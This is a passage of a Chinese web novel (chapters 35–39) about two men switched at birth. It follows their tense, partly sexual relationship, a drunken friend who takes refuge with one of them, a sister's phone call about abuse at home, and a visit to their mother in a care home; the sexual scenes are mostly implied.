虽然别墅有客房,但是,压根没有人收拾,他也不能将人扔到沙发上,唯一选择,就是卧室。
卧室安排有人按时清理,祁宋将人放下,转身就准备拿衣服洗澡。然而,衣服到手里,他又折返,将被子抖开,给人盖上。
将人盖好,祁宋拿着衣服去浴室。
随着门被关上的声音落下,水声透过缝隙挤出,床上的人翻了一个身,侧躺着,大部分的被子被压在身下。
而这样的睡姿没有保持多久,睡梦里的人一个颤动,双手紧紧揪住床单,瞬间睁开了眼,一双眸子里,满是惊惧。
他……逃出来了吗?
孟厌咬紧下唇,很快,唇破了一口,血腥味弥漫。
熟悉的味道,让孟厌的理智回归,那剧烈跳动的心,也紧接着慢慢地平静下来。
耳边的水声,被孟厌注意到。
他这是,被祁宋抱了回来?
意识到确实已经不在车上,孟厌松开了牙齿,舌尖抵在伤口上,微微的刺痛传来。
他起身下床,朝浴室走去。
祁宋很少会在自己的私人空间锁门,所以,当听到门把手转动,他一时间没有反应过来。
“哥。”
祁宋循声看了过去,是孟厌。
此刻的孟厌,眸子里是盈盈水光,眼神里只有祁宋,一声哥里带着满满
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的委屈,说不出的可怜。
“你”
还没询问,孟厌就这么几步靠近,搂住了他的腰。
热水,从头落下,淋湿了孟厌的衣服。
祁宋抬手,想要将搂住他的人推开,然而,第一次没有成功后,腰间的手紧了又紧。
祁宋也不是好脾气,更何况目前他裸着啊。
“松手!”
在动手和动嘴之间,祁宋选择了动嘴。
“哥哥,你当真没有想我吗?”
又一次的询问,祁宋知道,事情要不可控了。
在祁宋沉默里,孟厌松开了手,跪了下来。他仰头,以极其虔诚的姿势望着祁宋,被咬烂的唇,晕染出红色的血迹,染红了嘴唇,瑰丽的红唇,上下轻碰,一时间,浴室的温度逐渐上升。
他说,哥,我很想你。
他还说,哥,不止身体。
当热水也没有暖热的双手触碰到祁宋的时候,祁宋一手扯住了孟厌的手,将人扯起来,抵在温热的浴室墙壁上。他拥着孟厌,身体上的反应骗不了人。
炽热的呼吸,纠缠着。
孟厌很是乖顺,即使这样的姿势,让他很没有感全感。
心里的渴求,对祁宋的渴求,让他压过反抗的念头。
“孟厌,我们是什么关系?”
“你是我哥,妈妈说的。”
祁宋嗤笑,“你应该不会忘记祁铮很早就把我户口迁了出去吧?”
“可是,哥,你姓祁,你叫祁宋。”
而他,他是孟厌。
祁宋松开了孟厌,往后退了一步,他目前的状态根本不适合交谈,因此,说出的话丝毫不留余地,“你也可以是祁宋。”
一个名字罢了,祁宋这两个人,是因为他才瞩目,而不是,他是祁宋才瞩目。
当然,孟厌也听懂了祁宋的言外之意。
他不是没有设想过倘若没有被抱错,倘若祁宋才是在孟家那个吃人的地方长大的,对方依旧会矜傲自贵吗?
然而,这个答案是无解的。
而,既然没有解,那么设想没有任何意义。
孟厌摇头,“我不是祁宋,也不可能是祁宋。”
动了动僵硬的四肢,孟厌眼眸下垂,第二次,他跪了下来。
距离祁宋半步之远,他往前移了移。
“哥,为什么总是”
后半句孟厌没有说,他仰头,双手轻碰……
……
祁宋一手摁着孟厌的头,另一只手为他擦去眼泪。斜侧方的镜子,将这一切收纳其中。
卧室里除了水声,多出了些其他的声音。
……
“哥,妈妈是你最在乎的人吗?”
孟厌窝在被子里,双眼微阖,长而卷的眼睫微颤,脸颊通红一片,与瑰丽的双唇映衬着,整个人介于纯和魅之间。
祁宋穿衣服的动作没有停,扫了一眼床上的人,“她也是你妈。”
“嗯。”
孟厌轻声回复,膝盖处传来肿胀的刺痛,腰窝处隐隐被人紧紧握住的感觉还没散去,身体极致疲惫下,少了胡思乱想的力气,很快,倦意袭来。
屋里的呼吸声,平稳了下来。
祁宋穿好衣物,走之前,还是将窗帘拉上,隔绝了外面刺眼的光。
36. 第 36 章
祁宋先和助理联系,大致和对方说了一下邻市那个孩子的情况,然后,开车去了公司。
领养的先不说,户籍得办下来。
公司里,助理将自己手头上的事处理完,剩下的交接给其他人,然后,拿起东西离开被。他边走,边定下来了去邻市的票。
祁宋到公司时,助理已经离开。先和其他人交接完工作,然后祁宋才回到办公室,蜗居在办公椅上,开始投入工作里。
中午的时候,祁宋接到了方衍的电话。对方说,不出国了,但,也没有地方去了。
对方话语里没有欢喜,隔着手机,祁宋也能感受到对方深深的疲倦。
祁宋揉了揉发酸的眉眼,应了声好,询问出地址,起身离开。
走的时候,遇到了出去吃饭的谈粟,和对方交换了一个眼神,祁宋匆匆离开。
方衍给的地址是酒吧,大白天,还能让酒吧营业,方衍估摸着钱都用来买醉了。
找到对方时,方衍整个人趴在地上,四周散落的都是酒瓶。他趴在矮桌上,毫无动静。
可别酒精中毒。
祁宋惊,连忙走了过去。
桌上的人动了动,垂在一边的手四处摸寻着。祁宋松了一口气,险些被气笑,走到醉鬼身边,踢了踢不知道摸索啥的人。
“谁?哪个狗踢我?”
费力睁开眼睛,眼前啥都没有。
祁宋又踢了一下,趴在地上的人差一点蹦起来,眼疾手快就往身后抓去,然而,啥都没有。
“起来,不然你就睡这吧。”
祁宋好脾气说道。
“有点熟悉……”
方衍呐呐自语,抬头,循着声音看去,看到了头顶上方模糊的身影,于是整个人开始往后躺去。
祁宋一惊,下意识伸脚,挡住往后仰的人。
“祁宋啊——”
悠长的叹息,方衍喊了声,开始抽泣起来。他整个人,彻底卸了力,往后倒去。祁宋根本挡不住,方衍直接躺在了地上。
“我哥他,他说他喜欢,我踏马和他一个妈啊。”
祁宋找了位置,坐了下来,也不管地上的人,开口问,“你喜欢他吗?”
“我跟你说的喜欢不是你认为的喜欢,是”
“我知道。”
祁宋当然知道方衍嘴里的喜欢,能让他出来买醉,连家都不回,他自然知道发生了什么,“所以,你喜欢他吗?”
方衍闭眼,“他是我哥。他是我哥。他也只是我的哥。”
“过几天,我会安排你离开。既然不喜欢,那就躲着吧,冷处理是最好的。”
方至这人不是那种轻而易举能放弃的人,当然,方衍也知道。
“我走了,你怎么办?”,方衍问。
“别说的跟咱俩有什么奸情一样,我能怎么办,你觉得方至能和我动手?”
“那……倒也不至于。”
就是可能会和你撕破脸,然后,一夜之间,你的公司天凉王破。
他哥的占有欲,对他的占有欲是令人心惊的。八岁之前,他没有任何朋友。他不敢想象,如果让祁宋帮忙,祁宋会有什么麻烦。
“算了,先收留我几天吧。”
“你决定,你想走就走,世界那么大,总有他找不到的地方。”
祁宋话语一顿,看向方衍,继而说道:“或者你觉得和你哥一起生活也挺好的,不走也行。”
方衍一哽,睁开眼睛,幽怨瞪了一眼祁宋,有些咬牙切齿,“你说的都是屁,不然我跑出来还有什么用?”
跟闹脾气的话一样,祁宋有些无奈,这件事对方衍来说,也并不是天塌般的灾难。
“既然没醉,走吧,我还没有吃饭。”
方衍别的不行,特别是脑子不行,不过,他喝酒厉害,仿佛天生对酒精的免疫力就高。
“去吃大餐昂?”
祁宋眼眸一闪,“回家。”
“你给我做饭?我滴老天爷啊,你给我做饭?!?!”
方衍腾的一下起身,眼眸里都是震惊。
祁宋睨了方衍一眼,起身,“你要是想做我也可以让你做。”
方衍爬起身,摆摆手,“还是你来吧,我怕惊动119,那到时候多不好,况且,我现在是穷光蛋喽。”
方衍哼哼说着,紧跟在祁宋身后。
—
方衍知道祁宋用自己的第一桶金买了公寓,也知道祁宋不是祁家人是抱错的孩子,而真少爷是孟厌。所以,当走进公寓看到只穿着一件衬衣的真少爷时,他突然觉得,或许他哥喜欢他并不震撼。
修长的双腿,膝盖处红肿一片,乱糟糟的头发,那迷茫的表情像是刚睡醒一样。
“哥,没有衣服。”
孟厌说完,朝他哥身边的人点点头,展露出善意的笑颜。
方衍下意识看向祁宋,观察着对方的表情,想要窥探出些什么不得了的事。
这禁忌恋,我靠,祁宋真会玩。
方衍倒吸一口气,脸上的表情变来变去。
祁宋太阳穴直跳,“回屋,我待会去给你找。”
孟厌不好意思和方衍对视了一眼,“好的,哥哥。”
应下后,孟厌转身离开。
“祁宋你可以啊,孟厌竟然愿意和你扯上关系。”
方衍啧啧称奇,上下扫视着祁宋。讲实在话,祁宋确实长相出众,是那种极具冲击力和锋利感的长相,但,那也不足以让孟厌屈居人下吧?
毕竟,这两人之间横着二十多年的人生。
他听说,孟厌可是连小学都没有上过。
“你这话听着,怎么,我很差劲?”
祁宋似笑非笑,方衍一个激灵,他现在可是有求于祁宋,不能太放肆。
“你俩绝配。”
方衍笑呵呵,换下鞋子直奔客房。
祁宋深吸了一口气,朝卧室走去。
推开门,卧室里光线昏暗,祁宋目光所及,孟厌坐在沙发上,双腿交叠着,整个人斜靠在沙发上,本就不大、刚好的衬衣向上一移露出了遮盖的地方。
“哥,外面的是你朋友吗?”
孟厌单手撑头,笑吟吟看着祁宋。
祁宋没有回答,直接走到柜子处,开始翻找起来。他的高出孟厌一个头,衣服肯定是不合适的,只能尽可能的往小处找。
“不是哥哥的朋友,那么就是哥哥的床伴?”
祁宋拿衣服的手一顿,然后很快恢复平静,转身,将衣服撂到床上,疑惑询问:“这和你有关系吗?”
也是。
这和孟厌没有关系。
他们之间,孟厌又以什么身份去询问指责呢?
“唔,自然是……有关系了。”
孟厌思考一番,弯眸,唇角浮现出笑意,“哥哥带回来一个人,是心疼我遭不住,还是为了寻求——刺、激、呢?”
祁宋听着越发不堪入耳的话,眉眼染上一层冷意,不想在这种话题上与孟厌多做纠缠。
“心疼算不上,自然,刺激也不会在你身上找,衣服在这里,穿好就离开吧。”
“唉——”
孟厌叹了一口气,好看的眉眼盛满忧愁,指尖抵在脸颊边,不安分轻点着脸,声音愁苦,“哥哥,你怎么总是生气呢?”
“孟厌,我们两个人做不到表面的相敬如宾,而私底下也更谈不上什么亲密如血亲兄弟。对于我
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们两人最好的状态,应该是老死不相往来。”
祁宋看着沙发上的人,目光平静,语气再正常不过,没有任何的恼怒。
而,也就是这个态度,孟厌知道,他做的所有都是徒劳。
妄想把人拉入泥潭,拉入深渊。
他们。
永远不可能一样。
不过,带着满身污泥的他,沾染上了祁宋,这是无法否认的存在。
“是腻了?”
心里再怎么想,面上依旧不显。
孟厌这个人,只会想把让人看到的东西露出来。
比如,适当的软弱。
再比如,深入骨髓的渴求。
腻了?
倒也谈不上,但是,能让一切回归最初也是好的。
“这段关系,图的不过是一个合拍。”
那么,如今是不合拍了?
孟厌嘴角了笑意淡了,看向祁宋的眼神,里面的情意顷刻间消散,他启唇,清冷地嗓音响起,“哥,明天去看望妈妈,你觉得如何?”
此话一出,房间里的气氛开始凝固起来。
祁宋冷了眸,嗤笑,“倒是给忘了,你这么确缺人的*,怎么会受得了没有男人的日子呢?”
这是祁宋第一次说脏话,话语里都是对孟厌的厌恶。
“哥哥放心,不会让你感染的。”
话语的内容,对于孟厌来说,还不如罚跪有威慑力。这种话,自记事以来,他听得耳朵都快磨出了茧子。让孟厌心微微一抽的是祁宋的语气,很熟悉,太熟悉了。
本来应该平淡到喝白开水似的,但,孟厌就是产生了不舒服的感觉。
因此,脱口而出的保证代替了服软的话。
“嗯。”
祁宋应了一声,转身离开卧室。
孟厌坐在沙发上,看着祁宋离开。
门关上那一刻,孟厌收敛笑容,视线落在了床上的衣服上。
许久后,他下地赤脚走了过去。
衣服,是旧衣服。大小也不合身,长长的裤腿几乎要将孟厌整只脚遮掩完,他将袖子翻折了又翻折,露出白皙的手腕,然后往门口走去。
出了房门后,孟厌听到了厨房传出来的声音。他的脚步一顿,意识到了什么。而后,下意识朝客房看去。
门是紧紧关闭着的,而正厅也没有人。
孟厌眸色深了深,他抬脚朝厨房走去。
推开厨房的门,里面的人已经开始要炒菜了。孟厌没有穿鞋,厨房里的动静又很大,祁宋压根没有意识到门被打开了,门口还站着一个人。
等到菜炒完后,门口的人也推开门走了进去。
“哥,我错了。”
孟厌嗫嚅,朝祁宋道歉,“我不应该吃醋嫉妒的。”
可究竟是不是吃醋,谁也不知道。
孟厌说吃醋,那便是吃醋了。
“嗯,我接受了。”
祁宋不想追究下去,他能预料到自己询问原因对方一定会说喜欢他。
可,喜欢吗?
他倒是没觉得有多喜欢。
孟厌笑弯了眼,上前一步,搂住繁忙之人的腰,脸贴了贴对方的背,而后,诚挚地吻了上去。
隔着衣服,祁宋倒是没有多大感觉,就是不小心看到的方衍,吓了个踉跄,虽然早有猜测,但都不如亲眼所见来的冲击力大。
非礼勿视,方衍匆匆离去。
厨房里的祁宋毫不知情,动了动胳膊,示意放开他,“做饭,你别来捣乱。”
孟厌收回了手,侧头看了看门口,眼里浮现出一抹嘲笑,随后,笑呵呵道:“知道了,你做吧,我这就出去。”
“嗯。”
37.第 37 章
孟厌走出了厨房,下意识地望向客房,客房的门已经被打开,视线移到客厅,沙发上坐着一个人。
客厅的电视播放着综艺,很小声,怪不得厨房里没有听到。
孟厌倒了一杯水,朝沙发上的人走去。
衣服不合身,拖着长长的裤腿,因此,孟厌握着滚烫的热水只能慢慢走。等到方注意到时,孟厌已经走到快到他身边。
方衍视线落在孟厌手上,那是一杯热水,能看到白茫茫的水汽,惊得他顿时站了起来,就要去接。
“小心,小心。”
方衍嘴里叭叭叭着,连忙接过放到一边的茶几上。灼热透过玻璃杯,让方衍止不住想要把手里的杯子扔出去。
这么热,孟厌也是厉害了。
杯子放下,方衍摸摸了耳垂,缓解着热意,然后一屁股坐到了沙发上,仰头,眼神止不住地往孟厌指尖飘去。
有点红,嗯,好娇气。
方衍看了看自己的手指,没任何大碍。
“喝点水,能缓解一下醉意。”
孟厌垂下手指,腼腆地笑了笑。
方衍瞧着上翘的狐狸眼,羞怯地笑容,整个看起来乖巧无比,着实不像是在祁铮老头子哪里耍心机的人。
方衍扯了一抹笑,“你怎么知道我喝酒了,祁宋给你报备了?”
方衍的笑别有深意,孟厌垂下了眼眸,沉默一会,回答道:“没有,哥哥说不让我问。”
不让问?
方衍狐疑,能进入祁宋私人领地,怎么可能不让问?
“嗐,他傲娇呢。”
见孟厌还站着,方衍拍了拍了身边的沙发,招呼着,“坐啊,我不吃人的。”
没心没肺的笑容,什么都表现在了表面。
很美好的一个人。
孟厌想。
孟厌点点头,礼貌一笑,坐到了一边。
“你怎么和祁宋在一起的?他那大冰块、毒舌鬼,你怎么忍受得了他呢?是不是他追的你啊?我还没有见过他追过谁呢?写的情书吗?”
方衍小嘴叭叭的,不断问着问题。
孟厌笑着,安静地听着,一直到方衍最后一个问题问完,他摇了摇头,很耐心地回答,“我哥不喜欢我。”
方衍错愕,他望着孟厌,嘴角依旧是那温和的笑容,而眼眸里,他竟然看出了一丝悲伤。
“你……”
“吃饭。”
方衍的话没说完,祁宋的声音从厨房处传了出来。
孟厌回头,应了声好,歉意一笑,起身离开。
方衍看了看孟厌,最后视线落在了茶几上,那一杯水不算满,大概还有半指盈口,热气腾腾,杯口已经遍布水珠了。
水太满,伤人。
孟厌太喜欢祁宋了。
方衍起身,桌边的孟厌亦趋亦步跟着祁宋,两人不知道说这些什么,孟厌脸上带着笑容,祁宋呢?
依旧是那一副臭屁的样子。
爱吗?
祁宋爱吗?
喜欢吗?
方衍想,也不是毫无可能吧。
只不过,现在,祁宋真的看不出对孟厌独一无二的偏爱。
“你愣着干嘛?吃饭,要我给你端过去?”,祁宋抬眸,看着呆站在沙发处的人。
身边的孟厌笑了笑,方衍朝祁宋冷哼一声,转而朝孟厌笑了笑,走了过去。
“你要是想端,我也不会拦着你的。”
“不想。”
祁宋嫌弃回拒。
“指望你,我得饿死。”
方衍几步走到餐桌边,看了看桌子上的午饭。很奇怪,粥配菜。而那粥,还是养胃的粥,菜是一点都不见辣。
难不成是因为他喝酒了?
方衍也没客气,一屁股坐了下来。
孟厌吃的不多,半碗粥已经是极限。可是碗里的粥还多着,并不是两三口咽咽就能喝下。
他不喜欢浪费粮食,也不会去浪费粮食。
孟厌吃饭的速度慢了慢,在祁宋再一次看到孟厌往嘴里塞了一口饭后,他眸色深了深,开口道,“不想吃别吃了。”
正在干饭的方衍,抬头一脸疑惑。
发生了什么?
孟厌舀饭的手一顿,侧头,否认,“没有。”
祁宋头疼,连吃饭都要为难自己,他有时候真的不理解孟厌这样做究竟是为什么。
“不喜欢不吃,吃不下也不吃,吃饭而已,这也只是一顿饭。”
孟厌低头,不语。
方衍脑子转的飞快,试图去理解发了什么,“孟厌你吃饱了?”
方衍瞧着孟厌那可怜样子,心一软,扭头白了一眼祁宋,“祁宋,你别老是吼人家啊!不吃就不吃嘛。”
祁宋语穷,他的意思就是不想吃就不吃啊。
“孟厌,你别怕他,他也是个纸老虎。”
方衍继续和稀泥。
最后的最后,孟厌的那半碗粥并没有吃。方衍放下了碗,起身探身扯过孟厌的碗,笑嘻嘻道:“回屋休息吧,刚吃完饭,睡个觉消化消化。”
就这样,在祁宋默认下,孟厌回了房。
门刚关上,方衍忍不住开始叭叭叭。
“你瞧瞧你,你看看你,人家都跟了你了,怎么还让人家穿着不合身的衣服呢?”
说话间,方衍还不忘记喝着粥吃着菜。
“祁宋啊,你这娃娃,别太冷了,冷到最后孤独终老。”
方衍叹息,最后问出了致命问题,“你对孟厌是什么感情?”
祁宋吃饭的动作一顿,而后,他若无其事夹起青菜,“不知道,不喜欢。”
方衍长长叹了一口气,“不知道是不知道,不喜欢是不喜欢。”
“也不讨厌。”
祁宋放下了碗筷,补充了后半句。
对于孟厌,这个和他交换二十多年人生的人,如今,自己的枕边人,祁宋从来都没有搞懂他对孟厌的感情。
本想相安无事。
但,孟厌闯了进来。
“祁宋,你喜欢他。”
方衍不是傻子,在自己身上傻,在对别人身上可不傻,他看得出来,孟厌在一点点的走进祁宋心里。
怀着不想要祁宋吃爱情苦的心情,方衍直接将正确答案告诉了祁宋。
祁宋皱眉,一脸‘你没事吧’的表情。
“你吃完洗碗。”
祁宋丢下一句话,起身离开,回屋准备换衣服去公司。
“放屁,小爷我什么时候洗过碗?开玩笑,我不!!!”,方衍反抗,真不怕他把所有的碗打碎。
“天下没有免费的午餐,要么你给我刷碗,要么我把你打包送出国。”
祁宋头也不回离开。
方衍翻白眼,小嘴叭叭,心里问候祁宋祖宗十八辈。
祁宋推开门,走了进去。
孟厌没有睡觉,整个人窝在沙发角,侧身看着窗外,也不知道看什么,听见声音也没有回头。
祁宋看了看,收回视线,准备换一件衣服。身上的衣服油烟味太大了,不适合工作。
“哥哥,外面有只小鸟。”
祁宋穿衣服的动作一顿,循声看了过去,很小的缝隙,只在孟厌的正面,他这里什么也看不到。
收回视
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线,祁宋继续穿衣服。
“好自由啊。”
孟厌喃喃自语,眼里闪过一抹艳羡。
“明天去看母亲。”
祁宋将衣服扣子扣好,倒是没有再提那一只鸟。
“好哦。”
孟厌看着,鸟落在了树枝上,面向的方向正是孟厌,圆溜溜的小脑袋,左看看右看看,逗得孟厌笑出了声。
准备拉开门离开的祁宋,不免得回头看向了沙发处的人,这个位置刚刚好,顺着帘隙,刚好能看到树上的小鸟。
三楼的公寓,树再怎么高大,也只能看到个顶。小鸟立在顶上,很小的一个,笨拙的身子扭来扭去,看起来确实很可爱。
也难怪,孟厌注意到了它。
“下午饿了,自己找吃的。”
门关上之前,祁宋还是多了一嘴。
孟厌没有回头,甚至连回应都没有。
要去看妈妈了。
一时间,孟厌莫名的焦灼起来。
整个人情绪波动异常,他焦灼地紧咬着下唇。
他害怕见到祁母。
他害怕见到那一双充满愧疚的眸子。
这会让他感觉很焦灼,很急躁。
可是哥哥喜欢,他喜欢妈妈。
铁锈味在齿间弥漫,孟厌后知后觉松开了下唇,舌尖抵在伤口上,细细舔舐着,感受着刺痛。
微微的刺痛,很快地让孟厌平静了下来,让他没有心思乱想。
“小猪有个佩琪,小猪有个佩琪”
“接电话,小猪佩奇的哥哥。”
“……”
空旷的卧室里,铃声突然响起。
孟厌回头,下地赤脚去拿手机。
专门的铃声,给他的妹妹。
电话接通,孟厌默不作声,对面传来平静的声音,“哥。”
“我在。”
“哥,他又打妈了。”
“嗯。”
“哥,你还想养我们吗?”
孟厌握紧了手机,眼中闪过一抹担忧,“孟弃,他又动你了?”
“是。”
“孟弃,再给我一星期,我”
孟厌的话没有说完,孟弃打断,“孟厌,你不是我亲哥。”
孟厌所有的话,顿时被卡在喉咙里,不上不下。
他可以死,但是孟弃不行。
“孟弃,我说过,我会让你离开的。”
“孟厌,我信你。但,我觉得人生也就那样了。”
冬天了,天短,夕阳的余晖落下,天地万物一片被橘色的光辉笼罩着,很美,坐在楼顶看得更清晰了。
“孟弃,活着”
不好吗?
怎么会活着会很好啊?
孟厌自我说服不了,但是孟弃死了,那么下一个呢?该谁了?
孟亮?孟诺?
还是他?
“放心,我不死。”
孟弃笑了声,“你说的,我们亲哥哥会回来的。他回来了,他说,我可以去任何地方……”
“所以,孟厌,不要再管我们了。”
这和你没关系。
风声席卷着孟弃的话,落入孟厌的耳朵里。
他愣在原地,手里的电话不知何时已经被挂断。冰冷从四肢漫延,迅速包裹着心脏,一时间,孟厌只觉得有些冷。
他蹲下身子,失神地望着手机屏幕。
这下好了。
他连负担也没了。
孟厌眨了眨眼睛,视线内雾蒙蒙的。
当一滴泪落在屏幕上,孟厌恍然抬手,一摸,是湿润的。
他,哭了。
38.第 38 章
公寓的附近有个公园,临近傍晚的时候,有许多放学的时候孩童们,三三两两聚集在一起,玩着大人们理解不了的游戏。
孟厌坐在一边,不远处是蹲在一起,头碰头挖地的孩子。
他望着那些孩子,什么也不做。
这一坐,坐到孩子们被大人叫走。孩子们走了,他就看着那片孩子们玩过的小土坑。
随着夕阳落下,公园很快就安静了下来。
孟厌的位置选择的很好,距离公寓停车的地方很近。
又一阵冷风起了后,孟厌动了动僵硬的身子,起身朝停车区走去。
时间卡的很好,跟预计里一样,他看到了下车的祁宋。
祁宋忙了一下午的工作,除了中途接到方衍离开的那一通电话,除此之外的时间全都扑在了最近研究的那串关键代码上。
那串代码是整个系统的核心,原本今晚是要加班的,但是,因为明天需要去疗养院,为了不让母亲担忧,他也就放弃了加班。
停好车后,祁宋摁下锁车键,大跨步朝外走去。等转了个弯后,意料之外,他看到了树木边站着的人。
“你在这里干什么?”
祁宋脚步一顿,而后朝孟厌走去。
“等你。”
祁宋瞧着,&略昏暗的光线里,孟厌的脸上依旧挂着他熟悉的笑容,他还以为对方离开了呢。
下午的时候,方衍离开的那一通电话还提到了孟厌。他说孟厌好像哭了,还说孟厌离开了……祁宋听到的时候,不免得想到了孟厌哭得场面。
说实在话,孟厌经常会在他面前落泪。
孟厌好像除了讨好、示弱地笑意外,只剩下了哭泣。
在祁宋这里,他仿佛只有这两种情绪。
而近来见到的麻木,唯一一次,就是在今天中午。
孟厌,不对劲。
原本并没有打探的想法,却鬼迷心窍问出了口,“你下午不是离开了吗?”
孟厌笑着摇头,“没有离开,我去见祁铮了。”
祁宋没有说话,孟厌几步走了过去,距离一步之远的时候,他停下了脚步,仰头望着祁宋。祁宋条件反射垂眸去看孟厌的眼睛,头顶处的灯光乍然亮起,刹那,黝黑的眸子里面倒影出了他的身影,恍然,有一种是对方全世界的错感袭来。
心,好似漏了一拍。
“哥,你回家了吗?”
孟厌嘴唇微张,眼神里是祁宋看不懂的神情。
“家?”
很奇怪,祁宋首先想到了邻市那个巷子里再普通不过的房子。
“你妹妹联系你了?”
“噗——哥哥,她是你的妹妹。”
孟厌弯眸,又靠近了半步,轻声低语,“我替你养了十几年。”
“我是回去了。”
祁宋像是没有听到后半句一样,整个人的情绪十分稳定。
“那就好,哥,问你一个问题,你喜欢我吗?”
祁宋条件反射就要否认,然而,面前的人却后退了一步,脸边的笑容淡去,就那么默默地看着他。
等着他的回答。
“孟厌,你想要做什么?”
祁宋敏锐的感觉到不对劲,孟厌好像在闷声干大事。
“哥,我不喜欢你。”
孟厌很平静地说道。
这是孟厌第一次表达自己的想法,不再是一如既往的表白。
“我知道。”
祁宋回复着,再一次询问,“所以,你做了什么?”
孟厌摇头,“哥,回答我的问题。”
其实孟厌这人很执拗,一旦触及到他不想说不想做的,他绝对不会后退半步。
从产生纠葛到如今,已经将近半年。只有最近,祁宋才觉得,孟厌这人真实。他会反抗,即使很少。但,他能觉察到表壳下的那抹不同寻常的。
可,觉察只是觉察。
祁宋不愿意去探索。
“这问题你不是知道?”
孟厌摇头,他不知道,他清楚知道嘴最是会骗人的,比如他。
“哥,你不想回答我也不问了,作为交换,我到底干了什么,你也别问。”
孟厌扬唇微笑,看着祁宋,等着他回复。
祁宋心里衡量着,这两个人的价值是否等值,或者说,这个交换他是否值得。
最后,他发现无解。
于是在祁宋的默认在,孟厌靠近,踮起脚尖,轻轻的吻落在了他的下巴上。
孟厌用只有两人才能听到地声音说,“哥,别担心,不会动你最在意的东西的。”
比如,祁宋的事业,努力拼搏下的事业。
再比如,祁宋的亲情,努力握在手里的亲情。
他恨祁宋,但也知道,倘若祁宋一无所有了,他必定是世界上最伤心的人。
生活已经很苦了。
他真的没必要再自己给自己添堵了。
随着孟厌的话,祁宋的心沉入了底。
眼里闪过晦涩,他的手扶上了孟厌的腰,轻轻一拢,垫脚尖的人身子不稳扑向了他,而后,祁宋弯腰,靠近孟厌的耳朵,低语一声。
孟厌笑意愈发缱绻,双手搂上了祁宋的脖子,仰头的高度恰好到祁宋的喉结处。
他不语,靠近,含住。
猛然被袭击,祁宋的身体一紧,心里默默骂了一句,手拍了拍对方的背,哑着嗓子,“松开。”
后者松开了嘴,眼尾处泛起红。
“哥,你应该相信我呢。”
冰凉地指尖抵在锁骨处,祁宋忍着把人甩出去的动作,警告对方,“孟厌,最后一次,松开。”
“哥,你就不想”
“我不想。”
这种刺激,不要也罢。
“好吧。”
孟厌松开手,后退一步,怪可惜的,视线扫过身后的黑色轿车。
祁宋看着孟厌面露可惜的表情,十分头疼,抬脚大步离开。
孟厌收回视线,紧跟着祁宋。
—
门刚被关上,孟厌还没换鞋,天旋地转间,整个人被抵在了门角处,鼻尖是熟悉的香水味,很淡的一种味道。
“哥?”
“现在不急了?”
这是被逗狠了。
孟厌笑出了声,“急呢。”
声音未落,锁骨处传来一阵刺痛,孟厌的眼尾又红了一个度,脸颊上迅速起红,解扣子的手颤了又颤,总也不能解开。
祁宋弯了眸手覆上了孟厌地手,带着他一颗又一颗解开了自己的扣子,期间,不忘恶趣味地说着,“别抖,我亲爱的弟弟。”
带着灼热的呼吸,侵|犯着孟厌的每一寸肌肤。
这让他油然而生的一种恐惧和逃避,但,很快,逃避消匿,只剩下了迎合。伴随着刺痛而来的是欢愉,这种感觉,几乎让他忘了世间的所有。
只剩下了祁宋。
……
“哥
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哥,你,嗯,别看了。”
这是孟厌第一次在情事上拒绝祁宋,祁宋还挺意外的,还没有换衣服的他,衣装革履斜靠在沙发上,双腿交叠,望着面前的人。
他嘴角含笑,整个人看起来衣冠楚楚的,再正经不过了。
孟厌瞧着,第一次生出了别样的难堪。
“继续。”
孟厌抽了一口气,闷声询问,“可以换一件衣服吗?”
祁宋挑眉,难得询问了一句,“不喜欢吗?”
“不喜欢。”
行吧,不喜欢就不喜欢。
祁宋起身去换衣服,床上的人松了一口气,臀部下压了番。
祁宋余光中瞧见,笑吟吟,“别再动了,不然,要延长十分钟呢。”
孟厌身子一僵,“嗯”了声。
—
疗养院给老年人准备有早操,大部分身体强健的老人都会选择参加,而那些身体不好的老人,则会被护士门带到花园里,散散心。
两人去的时候,疗养院正带着祁母去散心。
年轻的时候,祁母身体十分强健,在经历过祁家几乎破产后,她的身体一日不如一日。老了老了,许多病症并发。
倒不是说那些病多难治,只是牵一发而动全身。如今的祁母已经放弃治疗,作为交换,她听了祁宋的话,住进了疗养院。
“哥哥,等会妈妈看到你一定会很开心的。”
孟厌笑着说,他手上没有东西,东西全都在祁宋手里。本来他想拿来着,也不知道祁宋抽了什么风,把他手里的营养品全都拿走了。
因着腰发酸,孟厌也就任由祁宋去了。
“嗯。”
祁宋象征性回答了一下。
两人再次安静了下来,走过蜿蜒的小路,两人来到了后花园。
找了一个护士询问后,祁宋将营养品给了护士,两人按照护士说的地址走去。
走到后,两人远远就看到了扎在人堆里说笑的祁母。
孟厌下意识侧头看向祁宋,果不其然,祁宋脸上浮现出笑意,锐利和冷漠消退,整个人看起来柔和无比。
祁宋抬脚走了过去,孟厌落后一步,跟在了他的身后。
“妈。”
祁宋张口叫了叫交谈甚欢的人。
轮椅上的人听见熟悉的味道声音,顿时停了下来,抬头循着声音找了起来。看到祁宋和孟厌后,她脸上的笑容愈发灿烂,摆了摆手,笑呵呵对众人说道:“说曹操曹操到,我儿子来了,看看,是很不错吧。”
炫耀的话语,被走进的两人听个一干二净。
众人下意识顺着祁母的话观察起来,两个孩子,一个俊朗,一个俊秀,明眼看去就能看出绝不是一般人。
“是很棒,看起来就大有作为……”
“秀禾啊,我和你说,我有一个留洋回来的孙女……”
“去去去,你个老登,这也惦记……”
“……”
祁宋笑了笑,朝众人打了个招呼,“叔叔阿姨们好。”
“哎,好,你好。”
孟厌没有说话,只是笑着点了点头。
“好了,不跟你们唠了,我回房了。”
祁母笑呵呵的,招招手,准备离开。
孟厌上前一步,代替了护工的位置,推着轮椅,“我来吧。”
护工后退了一步,让出了位置。
祁宋礼貌一笑,对众人说着,“那叔叔阿姨们玩。”
39.第 39 章
“最近很忙吗?都没有空来看我。”
祁母笑着询问坐在床边的祁宋,话里话外都是对祁宋的关心,“你忙起来总是拼死拼活的,别那么不顾身体……”
“没有很忙。”
祁宋拿起一边的苹果和小刀,低头细致地削起来,怕说服不了祁母,他又不免得多解释了些,“前段时间,孟厌他生病了,所以就没有来看你。而且,我会做饭,能照顾自己。”
提起孟厌,祁母不免得叹了一口气,这孩子心思重,刚将她推回房间,就扯了一个借口离开了。
“祁宋,你该成家了。”
祁宋削皮的动作一顿,锋利的小刀往前走了一分,然后完美的皮就这么断了,直接落到了地上。
他从来都没有想过关于自己的另一半,更没有想过,和别人分享自己的另一部分生活。
祁母看着祁宋,自小在自己眼皮下长大的,她怎么会看不出自己儿子的异样。
